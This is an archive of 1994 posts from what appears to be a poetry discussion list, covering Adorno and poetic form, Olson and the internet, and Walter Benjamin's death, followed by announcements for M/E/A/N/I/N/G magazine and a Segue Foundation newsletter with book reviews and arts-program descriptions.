I feel like I'm stepping into an already established dialogue, but felt compelled to respond to the issue of the political (in the widest possible sense) implications of form. You know it was Adorno, arguably the most profound thinker in the 20th Cent. who originated that impossibility of lyric poetry after Auschwitz thing, which he later backed away from actually, but he also said some other things about form. If I understand the gist of his statement on form, as articulated in Aesthetic Theory, then any form may be reactionary if it fails to reognize its own implication in domination. Not in any kind of vulger form, ie, those bastard capitalists, but in a much more sophisticated sense of accepting the form as a given. Without recognizing the problems of that form, its darkness. So any form can be troublesome if its assumptions are not criticized at the same time they are utilized. Which is why Beckett was his favorite 20th cent. writer. And this is why I agree with you re: Shelley. I don't think Shelley accepted anything as given, just see Prometheus Unbound. Which is why this formal question is so difficult today, because there are so many forms; new ones everyday. Langpo (to borrow Paul's phrase) is its form, in a certain sense, and has its own problems and assumptions. And of course its own strengths. I think we are making the problem of form far too easy if we define form as simply being about the choice between sonnet or blank verse. The problem is for us, ie G2 or whatever, is that we are given so many new forms and somehow we have to determine how to use them. I don't know if this generation will sole that problem. I don't know if solve is the right word even. The main problem might be that the new forms become as fixed as the old.

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53. Donald J. Byrd
Olson on the Net
Wed 23 Nov 1994

Ron Silliman asks,
> Can you imagine Olson on the net?

It's hard to know where you are on the net. I am in Albany (it's been snowing off and on all day, nasty winds, and temperature dropping toward 20)? That's Ron Silliman? In California? Other people in the conversation who are unlocated in my mind. I look at the UserIDs trying to find a place... Sometimes I can (mebbe), but you are never sure.

The net is ultimate suburb, the perfection of New
Jersey.

But it is hard to be any where, any time and especially now. If you are in Gloucester, are you in Gloucester? They are closing down the fishing on George's Bank. It is certainly not the Gloucester that Olson saw out the window at 28 Fort Square.

The _polis_ as FORM is lost to life? There is no way to understand the form of _Maximus_ by examining its language.Perhaps there is no way to understand it at all. I remember when it was possible.

He would have said (I think) that form is a matter
of not of linguistic arrangement but a judgement of action:

that that which has been found out by work may, by work, be passed on
(without due loss of force)
for use
USE
("The Praises")....

Form is not a container but a transmission. The gains on a non-referential art that were made in the 50's and 60's have been mostly lost. The world that made them possible has been perhaps lost. CO proposed not to write sonnets or limericks but A Republic!!!

The net offers a powerful referential medium with no reference. It was a condition that Ron Silliman and others proposed by elegant artifice fifteen or more years ago. Now it appears to be universal.

The net must have a wonderous topology. I have been
exploring it for nearly ten years. At first it was just me and
the computer nerds. And I understand it less--in some
really deep sense--than if I'd been plopped down on the moon.

Don Byrd

↑ Index

54. Mn Center For Book Arts
Re: Olson on the Net
Thu 24 Nov 1994

I think Don has, in his moving comments about Olson, form, place, polis, & net, brought us back to a discussion which was never resolved (& can't be, but must be undertaken) many months ago on this list, that of the possibility for community on the net.

I too don't often know the place I inhabit any more. Can it be known? I find some important element of community on a forum like this one. Yet, in spending time her, I spend less time outside, walking in the neighborhood, or down to the banks of the Mississippi. A choice I make in which something is lost.

Living in a medium with lots of meaning but little reference. Form which indeed exists to be utilized & needs to be critized.

charles

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55. FILELIST
Re: Olson on the Net
Thu 24 Nov 1994

Charles Alexander -- I, too, was moved by Byrd's comments about Olson on the net .... Sated and looking forward. Will be in the Twin Cities around Dec. 10-13, wondered if it would be OK if I stopped by for a chat .... Sandra Braman

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56. Michael Boughn
Olson on net
Fri 25 Nov 1994

Dear Don:

I guess I think in some way it's really no harder to know where you are on the net than to know where you are in "Gloucester". In fact, maybe in some ways it's easier in that in so far as both the net and "Gloucester" are utopias, or tend at one edge toward utopia, at least here there's no danger of confusing it with fishermen. I've known a few fishermen (in the olden days when I was involved in street politics in Vancouver) and while some have been OK guys, many of them were jerks. Just like everybody else. The thing about Gloucester is that it

was so pretty it was a great place to think about "Gloucester", but Gloucester was never "Gloucester", and the "Gloucester" that Charles Olson saw out of the window at 28 Fort Square wasn't Gloucester, either.

I think the polis as FORM was lost to us about 2,000 years ago. Our nostalgia for it is certainly real, and can be, as in Olson's work or Emerson's, productive of a perfectionist (to use Stanley Cavell's word) vision or imagination, Socrates' city of words. Socrates says that it makes no difference whether "Gloucester" exists anywhere or will exist, that by reading "Maximus" we are already always participating in it, and that "Maximus" itself is thus a further proposal of our selves, unattained but attainable.

"Here", in some sense, at least it's impossible to confuse the city of words with any other. That may offer us possibilities, as well as losses.

As Bob Creeley says, onward . . .

Best,
Mike
[redacted]

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57. Michael Boughn

Re: experiwhat?

Fri 25 Nov 1994

> *Well, Mike, we know that Stein was trained in experimental psychology, so it would be a good idea to believe her when she says that she never wrote an experimental work (I presume that she was not including her lab exercise in automatic writing.)*

I don't know about the automatic writing, George. It was actually Peter Quartermain who told me she said that. (Peter, are you listening? reading? whatever? Where is that quote from?) But you're right. Given her training as scientist and her vocation as writer, her insights here are particularly interesting, and, at least in terms of her own stuff, she must have known what she was talking about.

(PS, say hi to Angela)

Best,
Mike
[redacted]

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58. Tom Mandel
Re: Shelley
Fri 25 Nov 1994

re: "all form(s) is amoral," I think it might be better to say that all form is moral rather than amoral. It is not possible to give value to a form that is not moral or political at base. Partly this is a matter of intention, and a sonnet by Dana Gioia as one by Bernadette, may certainly be a moral or political act at that level. Partly, it is an understanding of means, or rather of the meaning of means, and the morals or politics of poets surely differ here. This is not intention but interpretation, where one can argue what is correct, what is true, what is useful, what is specific, to the point. The problem is that so often this argument -- an essential one -- occurs on grounds so general as to be useless in itself, viz. dubbing one or another poetry "experimental" or one or another poet "conventional" (as the apexers do in setting the other pole of straw men [to mix metaphors] and set up their place in the juste milieu between 'em). Fernando Pessoa wrote an enormous range of poetries under a number of different names, including a long sequence of (what appear to my groping Portugese-less romance language intuitive reach-without-grasp to be) fantastic quatrains in popular form. To take an example from what's on my desk. One does not, for example, right a sonnet w/o encountering a political and social history, write?

Shelley, it is said, used to hum out the metric/rhymic patterns of his poems and then rite them. I recommend to each of you to undertake this procedure in preparing your posts. First sound them out without sense, only then sense them, and only then riot them here.

Tom Mandel

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59. Tenney Nathanson
Re: Shelley
Fri 25 Nov 1994

What about WCW, "all sonnets say the same thing--to me of no interest" (or more or less to that effect). There may be a not insignificant way in which this assertion is right, the first half of it I mean; as to the chaser one just concurs or doesn't (Creeley: liking is as liking does--for you / for me).

Some years ago some friends recommended a possible way to proceed on an interesting poetic career: write only (commissioned? or feigned commissioned) occasional poems. But it's probably less intresting, or less easy anyway, to think through the politics of occasion ("I write bc I want to write"?). Though all

form is also occasional (though I guess different sonnets may have different occasions).

Recently teaching Dickinson: I wonder if one could make a point about all off-rhyme always being whatever.

Tenney

(hello to Book Arts btw! up there in the snow [?] like the snow in Maximus, and the alleged arabesque)

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60. Tom Mandel
Re: Shelley
Fri 25 Nov 1994

---

re: Eric Pape on "Adorno, arguably the most profound thinker in the 20th Cent...."

I guess we all have our dead horses; Adorno is one of mine. Would *anybody* like to have the references to this "profound" man's attempts to get along with and prosper under the Nazi regime? His position that as only half Jewish he might be allowed to work profitably in a new order Germany, his reviews of rather pro-Nazi German younger poets, the meaning -- in germany at the time -- of his using the name Adorno (non-jew mom's moniker, I believe) rather than Wiesengrund (jew-pop dad's identity)? Not to mention does anybody have a hold on or interest in his treatment of Walter Benjamin, his caviling criticisms of Benjamin's proposals and submissions to the then in NY Adorno/Horkheimer crew, a more generous response to which might have led to WB's escaping Europe rather than dying there, Benjamin's (and Scholem's, and Arendt's) opinion of Adorno at the time (and in Arendt's case, thruout her life: she detested him. I was her student for many years, and learned my antiTeddyism from her directly)?

Tom Mandel

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61. Tenney Nathanson
Re: Shelley
Fri 25 Nov 1994

Tom-- I'll bite at the rhtorical question and say yes, /I/ want to know. Beyond what's in the two Susan Buck-Morss books, say. That is, I know something about Adorno's treatment of Benjamin (and while the early B-M book kind of flaggellates Benjamin w Adorno's suposedly greater perspicacity, the more

recent book does the reverse). But what about Adorno and the Third Reich. Or what about Arendt off the cuff?

This will pass for news in Tucson (or my part of it anyway)

Tenney

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62. Donald J. Byrd
_Olson_on_the_Net
Fri 25 Nov 1994

What is it that has happened since, say, 1970 (Olson's death)? or even earlier. In 1966 Jacques Derrida declared, "Perhaps something has occurred in the history of the concept of structure that could be called an 'event.'" An event that is not an event. At the very moment the technologists began to take seriously the possibility of producing cognition of a human order, knowledge in the so-called human sciences also collapsed. It was also in 1966, Michel Foucault wrote: "The only thing we know at the moment, in all certainty, is that in Western culture the being of man and the being of language have never, at any time, been able to coexist and to articulate themselves upon one another."

So, what has happened in practical terms. We have been blitzed by the right from Reagan to Newt Gingrich (who speak confidently of the being of man, without questioning the status of their discourse). Even the most media-genic experiwhat/avant/new artists have disappeared from all popular media--e.g. Ginsberg and Sanders at the Chicago convention in 68. The biosphere is a quarter-century nearer irreparable damage. Most viable political organization among the thoroughly excluded classes has collapsed. Sex has become potentially deadly. AIDS Research is in utterly disarray and the entire establishment that controls it (probably in collusion with the drug companies) is thoroughly corrupt. Organized opposition to the military has disappeared. The Cold War has ended. The industrial dislocations in the military industries are at least in some measure being compensated for by building prisons. Over a million people, most of them men of color, are in prison in the United States. There has been a general loss of enthusiasm for and support of education. The youth culture has been fragmented into various youth subculture, so the youth market is expanded while the political power of the young is defused. The dominance of both electoral and cultural politics by the popular media is now unchallenged even by a symbolically significant opposition. Phony science (_The Bell Curve_, etc.) is having a powerful effect on U.S. social policy, and legitimate science (if there is any left) seems powerless to oppose it. Leftist politics has been consigned almost exclusively to English departments. Any thing in the arts and liberal disciplines that smells of metaphysics has been

declared illusory. The metaphysicians are now physicists and computer scientists: Stephen Hawking, Herbert Simon, et. al. The life of the President has been threatened by the senior Senator from North Carolina and presumably the next Chair of the Senate Foreign Relations Committee. We are all on the Internet.

The appearance of the Internet is one of the few perhaps positive public developments in the last quarter century. When I first connected in 86 or 87, there was the Humanist List, as one of the few attractions for anyone who wasn't involved in scientific or technological research. And it has been fascinating to watch it grow, the interest groups beginning to have narrower definitions, until literally the relevant, if not entirely useful, information seems endless. But, it may be that the Internet is just talk radio for the fringe. For all of its promise, it has yet to produce much.

The task of production seems to me fundamentally unchanged.

I have been reading Wesley Trimpi's _Muses of One Mind_ (Princeton UP, 1983) the last few days. It is an old- fashioned book, literary theory heavily informed by classical philology. Although Trimpi seems to be fully cognizant of contemporary theoretical debate, he makes no reference to any of the major philosophers or theoreticians of this century and precious few references to any secondary sources: he ranges from Hesiod to Plotinus and Proclus:

"As the daughters of Zeus and Memory, together [the muses] recollect,Jpreserve, and celebrate the integrated activities and the cumulative wisdom of the gods. They offer to us as human beings, furthermore, the possibility of sharing in the contents of this wisdom to the extent that we realize our capacity to understand and describe our experience. In this sense, the Muses, together, provide the psyche with the sources of its coherence and express this coherence as mutually dependent principles in order. These principles, in turn, later give direction to the various disciplines which define and exercise the speculative, the prudential, and the productive activities of the consciousness."

These "disciplines" are, of course, philosophy, which rules over the cognitive capacity; rhetoric which rules over the judicative capacity; and mathematics which rules over the formal capacity. As such they are the constituents of the what Plato called "the Good"--that is, the true, the justly measured, and the beautiful. If these are united metaphysically in Platonic thought, Trimpi argues--and here seems to me offer in coherent fashion a position close to Olson's--in disciplines themselves forms are actually constructed, not underwritten by the infinite ideal norm of the logos, and that in

poetry these disciplines are enacted as secular and inhabitable forms of the Good, called polis, Gloucester, Tyre, and potentially, I think, the Internet.

Trimpi goes on to show with formidle scholarhship (again confirming speculations of Olson's speculations of thirty years earlier) that literary and aesthetic theory by the time of the Neoplatonists, had been mathematicized; the concrete unity of the muses was lost; and literature was already prepared for the kind of deconstruction that its fully articulated Neoplatonic form would reveal as necessary.

Of course, Trimpi's "cumulative wisdom of the gods" will make some nervous; no doubt some will find in it code for the transcendental signifier. I suppose the unity of psyche will also be read out as the modern subject and the promise of coherence as a threat of fascism.

Trimpi, however, makes a plausible case that _poiesis_ before the Platonic revival of the renaissance (that fundamental moment in Pound's _Cantos_) was innocent of metaphysical and transcendental reference (that is, of infinite images of normative ideality).

I would suggest in the spirit of Olson's project, as I understand it, that the construction of net can only proceed as a pursuit of the muses in Trimpi's cogent sense. Speculation, action, and formalization are singularly futile, but as mutually correcting modes of coherence, they produce something more concrete than a utopian vision; that is to say, a living company on inquirers.JIn the etymology of "muse," Trimpi finds-- striving, loving, and inquiry-- notions associated with philosophy, but in Hesiod and in the early theories of literature they are balanced with action and concrete construction, not abstract or metaphysical meditation.

The power of Olson's constructivism has not been much investigated. I would point to the work of John Clarke, Charles Stein, Nate Mackey, and Madelaine Gins' recent and utterly remarkable _Helen Keller, or Arakawa_ To be sure, transcendence may look fairly thin when it is not backed up by the authority of some one like Stephen Hawking, but it does not mean we must suffocate in the merely social. The world is to be actually constructed, not infered from an idealized norm.

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63. Marjorie Perloff
Re: Shelley
Fri 25 Nov 1994

For Tom Mandel:

Doing some work on Adorno and Benjamin right now and would like very much to know the Hannah Arendt etc. story about Adorno. I agree with what you say about the demise of "Wiesengrund." Tell all, please!

Marjorie Perloff

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64. Sandra Braman
Re: Shelley
Sat 26 Nov 1994

re Benjamin, and the question of experimentation, and the question of commodification of culture: Lutz Niethammer, in his superb analysis of the many, many theories of the end of history across cultures and time, tells the story of Benjamin's death, with which I had previously not been familiar: Benjamin walked out of Germany, in I believe 1945, and as soon as he crossed the border handed the first peasant he saw the manuscript he was carrying, and then committed suicide. That ms. was his book on the end of history .... Sandra Braman

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65. Pierre Joris
Re: Shelley
Sat 26 Nov 1994

That seems a bit of a romantizised version of Benjamin's death, with geographic confusion. He was in the process of crossing the Pyrenees (from France into Spain, in order to reach Portugal, from whence ships to the US or GB) when he committed suicide -- as far as I am aware, in a state of depression & despair, as the last stage of that harrowing crossing proposed unforeseen dangers that, it would seem, Benjamin was not able or willing to cope with. I never heard of the handing over of a ms. to the first peasant met -- that seems too pat a narration & would make sense only in relation to the geographical confusion, i.e. if he had in fact crossed the German French border.

========== Pierre Joris | Dept. of English | "La poesie ne s'impose plus, elle s'expose." SUNY Albany | Paul Celan Albany NY 12222 | tel&fax:[redacted] | email: | "He

who leaves a trace, leaves an abcess." [redacted]| Henri Michaux
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66. Tenney Nathanson
Re: Shelley
Sat 26 Nov 1994

There's a full account of Benjamin's crossing and the iffy question of the manuscript in Susan Buck-Morss' /The Dialectics of Seeing: Walter Benjamin and the Arcades Project/. As I recall it seems possible he did turn the ms. (which may have been a chunk of the Arcades Project I think) over to a mother and son, not literati, w whom he was crossing, or I guess he MAY have done so, no one has been able to determine definitely): but it wasn't perhaps a passing of the torch kind of gesture exactly. Anyway Buck-Morss is a good place to go for clarification.

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67. eric pape
Re: Shelley
Sun 27 Nov 1994

To clarify: I did not refer to Adorno because I believed he was the most honorable man in the world. In fact, I believe his treatment of the student protest movement alone proves he was confused at best in many of his personal relationships, including that with Benjamin. He seemed to always let his intellectual judgments cloud his personal ones. The years before Benjamin's saw a weakening of their friendship due primarily to the Arcades project, and other projects Adorno saw as non-dialectical. Personally, I think he misunderstood completely Benjamin's final work.

But I think mostly that's beside the point. The great Olson himself, as Tom Clark's bio demonstrates, was not always the most honorable man. Does that mean we stop reading him? Does that mean his thinking is less profound? Why?

All I was tryingto indicate was that I believed Adorno's conception of the dialectical relationship of form and content might be extremely useful to anyone writing in late capitalism. At one time, perhaps we could extricate artistic form, popular culture, critical thinking and our lives from commodification but monopoly capitalism certainly has squashed that possibility Adorno's notion that we can resist commodification in our work by resisting the form of our work, by having our work work against itself, seems to me useful.

Finally, to rescue the allegorical reading of Benjamin's death in the most immediate effect of his death: When the Spanish border guards discovered Benjamin's body, they grew so disturbed and frightened about the implications of what they had donethat they let all of the people who had traveled with Benjamin from Paris cross the border and disappear into Spain.

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68. Susan Bee
M/E/A/N/I/N/G # 16
Sun 27 Nov 1994

In its eighth year, M/E/A/N/I/N/G, an artist-run journal of contemporary art, remains an important meeting ground between critical and theoretical ideas and language, and the actual practice of visual art by working artists. It is an inclusive, lively, contentious, provocative, and unprogrammatic forum for new ideas in the arts.

Library Journal writes about M/E/A/N/I/N/G: "This attractive, large-format critical journal contains controversial and provocative comments and reviews related to the contemporary art scene. This eminently readable journal, which seems to display a particular interest in women~s issues, gives voice to new views and is an excellent choice for medium and larger academic collections."

M/E/A/N/I/N/G is published twice a year in the fall and spring.

Editors: Susan Bee and Mira Schor.

M/E/A/N/I/N/G #16 features:

Working Conditions: A Forum on Art and Everyday Life by Younger Artists with statements by forum guest editors Julia Jacquette and Lawrence Lipkin, and by Douglas Anderson, Jimbo Blachly, Serena Bocchino, Richard Brown, Kathe Burkhart, Kevin deForest, Jason Fox, Ava Gerber, Hilary Helfant, Lisa Hoke, Jenifer Kobylarz, Robert Kuszek, Mery Lynn McCorkle, Michael Mikulay, Holly Miller, Gregory Montreuil, David Moreno, Portia Munson, Kathryn Myers, Paul Pagk, Alix Pearlstein, Enoc Perez, Rebecca Quaytman, Trudie Reiss, Christian Schumann, Kate Shepherd, Amy Sillman, Hugh Steers, Laura Stein, Danny Tisdale, Nicola Tyson, Anthony Viti, Derek Weiler, Michael Windle, Karen Yasinsky, and Alexander Zane.

Also in this issue: Essays on art in the technological era by Charles Bernstein and Johanna Drucker; an interview with Thomas McEvilley by Dominique Nahas; and a book review by Misko Suvakovic.

From issue #16, Fall 1994:

I see no contradiction in being an artist in a media-based culture. TV, movies, and advertising are potentially just as interesting as works in the traditional fine arts. Conversely, paintings can be potentially more boring than a string of commercials. -- Kathe Burkhart

If Sex, Race, and Homophobia, are the major headlines of art at the close of the 20th century then how do I, as a formal, geometric, abstract painter fit in? -- Michael Windle Painting has become purespectacle losing its power to do harm. It has become like the oppressed feminine: domestic,shallow, empty, ineffectual, fickle, decorative. -- Rebecca Quaytman

When I first found I could make artwork about the frustration, anguish, and stupidity of my own life, I wept with relief. -- Julia Jacquette

In many ways I think my work is about terror management, the control of phobia through humor. -- Amy Sillman

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69. Pierre Joris
Re: Shelley
Sun 27 Nov 1994

Tom Clark's biography of Olson doesn't "demonstrate a thing." Except bad faith.

========== Pierre Joris | Dept. of English | "La poesie ne s'impose plus, elle s'expose." SUNY Albany | Paul Celan Albany NY 12222 | tel&fax:[redacted] | email: | "He who leaves a trace, leaves an abcess." [redacted]| Henri Michaux

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70. Patrick Phillips
Segue Foundation Newsletter
Sun 27 Nov 1994

**********Announcement of Segue Foundation Newsletter**********

Segue is well-known to many of you as a distributor of small press titles and as a publisher. Though we recently lost our distribution grant, it may surprise you how much Segue does beyond its former role as a distributor. For those of you who aren't so familiar with Segue, this newsletter fleshes out Segue as an important part of a much larger arts community. In addition, in this issue there's a list of current titles offered by Segue/Roof Books; a review of P. Inman's new Roof book _criss cross_; as well as press-time comments on Ron Silliman's new Roof book _N/O_.

Segue has also published this newsletter in a HyperText version which is accessible through the writing.upenn.edu Gopher server and may be viewed with any hypertext browser (Mosaic, or similar browsers) at:

gopher://writing.upenn.edu/hh
/internet/library/e-journals/ub/rift
/journals/list/Segue/Segue_Newsletter.

In the near future, all Segue/Roof titles will be made available via the internet by filling out an on-line form. Segue as a distributor will resurface!

Thank you for your patience with this long post. I hope that the information and reviews are worth your while. We also encourage any responses or queries and would be glad to consider reviews of forthcoming books for publication here and in the HyperText version.

For more information about a specific facet of Segue you may write to Segue to order Roof and Segue books at a 20% discount. Contact Segue at:

Segue Foundation
303 E. 8th St.
NY, NY 10009
phone#: [redacted].

Or, email Segue Foundation Newsletter editor/developer:
[redacted]

Segue Foundation Newsletter - November 1994

The Segue Foundation is mainly a literary organization. It is the publisher

of Roof and Segue Books (edited by James Sherry). Segue also acts as a fiscal conduit for projects grants for several arts organizations such as M/E/A/N/I/N/G magazine (a journal of art and criticism edited by Mira Schor & Susan Bee); Sally Silvers & Dancers (an aesthetically and politically radical dance troupe in NYC); Big Allis (a journal of new poetry edited by Melanie Nielson & Jessica Grim); the Ear Inn Reading Series (conducted every Saturday at the Ear Inn in SoHo), and the INCISIONS Prison Arts Project, (weekly poetry workshops conducted in various NY state correctional facilities by Janine Vega).

From 1977 - 1993 the Segue distribution project promoted and sold over 500 small press poetry titles annually. This distribution service has been converted into the Segue Information Archive. The archive, located in the Segue offices, will include every book that Segue distribution has ever carried and it will be complimented by new titles from authors and new presses as well as materials such as manuscripts and correspondence from private author's collections. The Segue Information Archive will represent a substantial free- access collection devoted to new writing.

The offices of the Segue Foundation are located at the heart of East Village, the most thriving artistic communitie in New York City. The building in which the office is located is an artist owned cooperative, it includes 12 artist live/work coops, a 1200 square foot performance space, and Film editing facilities. The performance space managed by Segue is used as a low cost dance rehearsal space during the day and in the evenings we sponsor various ongoing film, dance and music series.

Segue Foundation, Roof Books

Roof Books, edited by James Sherry, is pleased to announce the publication of two new titles; criss cross, by P. Inman (see review of criss cross by Hank Lazer) and N/O by Ron Silliman. Though different in their formal approach to the page and text, both Inman and Silliman present a textual artifact which challenges our assumptions of locution and language. Both present texts which unknot normal attempts at consumption while aiding our understanding of languages as both necessary and critical. Each of these new titles can be ordered through Segue; receive a 20% discount when you order from Segue and

mention this newsletter. (click here for Segue Address) (For other books by
Inman, Silliman and many other writers, see the list of Other Roof Books in this
newsletter.)

Here's a glimpse of some press-time reviews:

criss cross, by P. Inman

64pp., paper, ISBN 0-937804-57-6, $7.95

P. Inman has a first name that is not a letter. It is a work. His work also

raises such questions for the reader. If a reader is sure of what she is saying, she
does not need P. Inman's work. If she has doubts, reading P. Inman is a good
idea.

Roof Books is publishing P. Inman against the grain of ordinary poetics, but right in the face of digital reality. Before one thinks of bytes, Inman's bits represent a primary block of languages, all languages, foreign, domestic, binary, all have to pass through Inman's thoroughfares.

Criss cross is a tour of the process of navigating the realms of experimentation, witness, and critique, an invitation to participatory poetic locution. You, as reader, are given the gift of transience. Diane Ward

By fully semanticizing the so-called nonsemantic features of language, Inman creates a dialectic of the recuperable & the unreclaimable, where what cannot be claimed is nonetheless most manifest resistant to habitual comprehension as the ambiguous figure and similarly raises questions about the nature of perception. Like Beckett, Inman challenges his reader/audience. . .to consider what is fundamental, presence or absence. Joan Retallack

Inman's poetry lies in how this language becomes known in the contemplative strategies it proposes and in what it becomes known as. Inman's
poetry an emblem of poetry, of how it sets on a page, the page in a book, how a
book opens, before one's eyes and in the mind, and how the mind in relation to
its knowns becomes material. Ben Friedlander

P. Inman was born on Long Island and educated at Georgetown. He is a member of the AFSCME Local 2910s Executive Board. His work has appeared in magazines and anthologies including: In the American Tree and From the Other Side of the Century. His books include: Ocker, Red Shift, Think of One, and Uneven Development.

Review of criss cross by Hank Lazer

words for windows. movement of phrases, words, syllables. bump up against margins, boxes, forms, periods. rarely if ever "personally

expressive." as
if transmitted. scrolling up & down. a sense of recurrence & reshuffling. orders:
taking orders, manifesting orders. the criss-crossing and intersecting of shuffled
and deployed lines. rarely if ever traditionally descriptive. a coolness. mondrian-
like stripes of words. a beckett-like world of seemingly disembodied
articulation. rarely if ever to be confused with speech. the page as a canvas or
body upon which the lines inch about. simple whole numbers of their re-
combinings. stubbornly resistant to readings which might resituate or
paraphrase or thematize Inman's writing. eleven different assemblies. "prose
arrived to fragments./ pulch. work stoppage balled up// as content. moeb
grammar." readings within the loop; on the beltway. 1, 6, 6; 2, 6, 6; 3, 6, 6; 4, 6, 6:
5, 6, 6: 6, 6, 6. and other workings out, equations, formulas, floor plans, blue
prints. from narrow strips to paragraph-wide blocks. "otherwise is that forever."
a fill of/ sentences the ditch of what i mean."" and ""every of doubt words into
distance."" in this book we see the units assemble and advance or disappear. that
process is what we see as much as anything. we see the words in their placement
moreso than in their service to other allegedly communicative purposes. "such a
thin of the book the beginning of an offspring beside/ one line. how did distance
become as dim as nosed. the brook/ of edges in a dictionary." if a stanza is also a
room, Inman's book a floor plan, designs with designs upon us, lines assigned to
available spaces. "sensation than/ signification" -- odd intersections of words on
the page. i highly recommend you see & sense these. an engaging not uninviting
terrain. "small wavelets out to something." "how they think the distance left."

and across it, left & right, up & down, footprints. impressions. impressive.

Hank Lazer

Ron Silliman - N/O

112pp / paper / ISBN 0-937804-56-8 / $10.95

He lives the most passionate life of the mind in America. He is a poet I read to break through into new halls and colonnades of verbal richness that, before, I simply didn't know were sealed up behind these walls and dead ends in the palace of art. His work must be studied, lived with. Its pleasures cannot be simply lapped up off its surfaces. But they are the subtler, sharper, and more resonant for the time they take to taste.Samuel R. Delany

Silliman has developed a shorthand method of getting it all down. There is something incredibly moving about his cap city and capability, his will and willfulness his hunger to know and absorb as he rants, records, juxtaposes,

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Ron Silliman was born in the state of Washington in 1946. He has been a prison and tenant organizer, a lobbyist, a teacher, a college administrator, editor of Socialist Review, and a marketeer in the computer industry. Long a national leader of the Language-centered writing movement, Ron Silliman's poetry and

criticism have influenced an entire generation of poets. His concept of the New Sentence spawned literally dozens of efforts based on his idea of prose writing. N/O is two letters of his ongoing alphabet series. Long a national leader of the Language-centered writing movement, Ron Silliman's criticism has influenced

an entire generation of poets. His concept of the New Sentence spawned literally dozens of efforts based on his idea of prose writing. His commentaries on the writing of his peers act as the most comprehensive introduction to this fascinating new writing style and at the same time are the perfect example of that writing. Each essay is filled with vital information and is itself a formal

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by Ricardo Tarrega-Shayegan

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Segue's possession. Right now, Segue has approximately 30% of the materials it would like to have in the core collection, which would include all the poetry and prose books distributed by Segue throughout the years, its collection of poetics titiles and the anthologies and magazines it has distributed. Ideally the collection would be augmented by audio and video tape collections as well as selections from author's collections and correspondence. Once complete, the collection will be housed at Segue or loaned in collaboration with other poetry venues in New York. We look forward to continuing our committment to the project and the Joyce Mertz-Gilmore Foundation's generous grants helps make this possible.

M/E/A/N/I/N/G Magazine (see Susan's 11/27 post on M/E/A/N/I/N/G)

by Susan Bee

M/E/A/N/I/N/G is a biannual, artist-run publication edited by two painters, Susan Bee and Mira Schor. M/E/A/N/I/N/G is committed to providing

an inclusive forum for the discussion of a broad range of issues of concern to professional visual artists through the publication of writing by artists, art historians and critics. Among the writers we have published are Johanna Drucker, Amelia Jones, Robert C. Morgan, Whitney Chadwick, Charles Bernstein and Rob Storr. M/E/A/N/I/N/G provides a crucial alternative to the commodification of art discourse in the established art magazines. We are not concerned with career promotion, or the "best selling" movements. By publishing writing by and for artists, we provide a needed bridge between critical and theoretical ideas and language, and the actual practice of visual art by working artists. M/E/A/N/I/N/G regularly publishes forums on current issues, encouraging responses from a wide range of visual artist. Past forums have explored motherhood and artmaking, racism in the art world, making art over a lifelong career, issues of community. Some of the artist published in these

forums are Leon Golub, David Reed, David Humphrey, Nancy Spero, Miriam Schapiro, Ann Messner and Richard Tuttle.
The Segue Foundation acts as our umbrella organization and helps us with grant applications and acts as a conduit for grant funding, but it does not
add monetarily to our budget. Segue also assists us in distribution, bulk mailing
and other postal services. M/E/A/N/I/N/G's relationship the Segue Foundation
has been extremely useful to us; as working artists with active professional lives,
The Segue Foundation has helped us produce M/E/A/N/I/N/G with a minimum of bureaucracy or red tape.

Sally Silvers and Dancers

by Sally Silvers

My history as a Segue-connected artist goes back almost 14 years. The foundation has been the non-profit conduit home for Sally Silvers and Dancers
since our first bulk mailing in 1981. (We're both housed at the Segue sponsored
artist live-work coop/performance space in the Segue offices building on East
8th St. in New York.) I also currently serve on the Segue Performance Space

board. In the early 80's Segue was the perfect locus for my "non-obedient" stance to the existing dance world: low-riding minimalism and pushing narrative/persona based theatrical dance with a vengeance (initially as message oriented statement in an early response to Reagonism, but also consensual transparency as a commercially linked career op). I found aesthetic inspiration from many of the writers associated with L=A=N=G=U=A=G=E Magazine and Roof books. I wanted to politicize the body, show movement as a social circuitry inherent in the way the body moved (utilizing predicaments, presenting movement analytically, disjunctively, maximally -- to have the "message," grounded in the social) . The writers I admired most (some published by Roof/Segue) linked this kind of formal and political radicalism. My early self-produced evening-length concerts (some 15 from 1980-88) were all performed under the auspices of the Segue Foundation and took place at spaces like The Cunningham Studio and Ethnic Folk Arts Center. For the last 6 years Segue has been my fiscal conduit for project grants like a Meet the

Composer collaboration with composer John Zorn, performed at the Joyce Theater; a dance/theater presentation with poet Bruce Andrews on gender, Nicaragua, control/discipline, etc., and a 6 minute film collaboration with

filmmaker Henry Hills, "The Little Lieutenant." The film has toured internationally, has won festival prizes and now has a European distributor. 1995 will be a full year for SS&D. Upcoming are 5 weeks of teaching in Holland; an improvisation festival in December in NYC; an evening at Symphony Space in Feb., 1995. The '95 New

York City season with all new works starts in April at P.S. 122. We also will be doing a film project with Henry Hills which begins production in the spring.

INCISIONS/ARTS - Prison Arts Program

by Janine Vega

INCISIONS/ARTS has been organizing writing workshops and performances at New York State Correctional Facilities for men and women, and Division for Youth Residences and Secure Centers since 1978. Our writing programs have ranged from six week residencies, to long-running residencies at Sing-Sing and Bedford Hills which have continued for years. Resident writers usually come in to the facility once a week, meeting with inmate writers who have been selected or have chosen to take part. The workshop is conducted through discussion of technique and of individual inmates work. The aim of the

workshop process is to generate new methods of discovery and new ways of writing.

Recently we have been emphasizing a final event or project: a poetry reading, shared with the rest of the population, administration and staff; a short play or screenplay from a drama workshop; or an anthology of poetry, fiction or nonfiction. If an anthology is chosen as the final project, one is presented to each participating writer. We have found that aside from being a source of delight and pride, the anthology is an immensely effective reminder of the capacity for self-expression and as a continuing encouragement to keep writing. Some of our anthologies have received critical acclaim in American Book Review, Contact

11 Longhouse, Poetry Project Newsletter, Poetry Flash and the Woodstock Times. INCISIONS/ARTS has received grants from the New York State Council on the arts, Sing Sing Educational Department, Poets and Writers, The Vinmont Foundation, Longtermers Committee at Bedford Hills. Witter Bynner Foundation, Riverside Prison Foundation and private sponsors. We have had successful residencies at Sing Sing C. F., Hopper House, Creedmoor Psychiatric Center's Forensic Unit, Bellevue Prison Ward, Green Haven C. F., Rikers Island for Women, Bayview C. F. for Women, Bedford Hills C.F., Green Haven C. F., Highland R. C. for Boys, Sojourner Truth R. C. for Girls, and Harlem

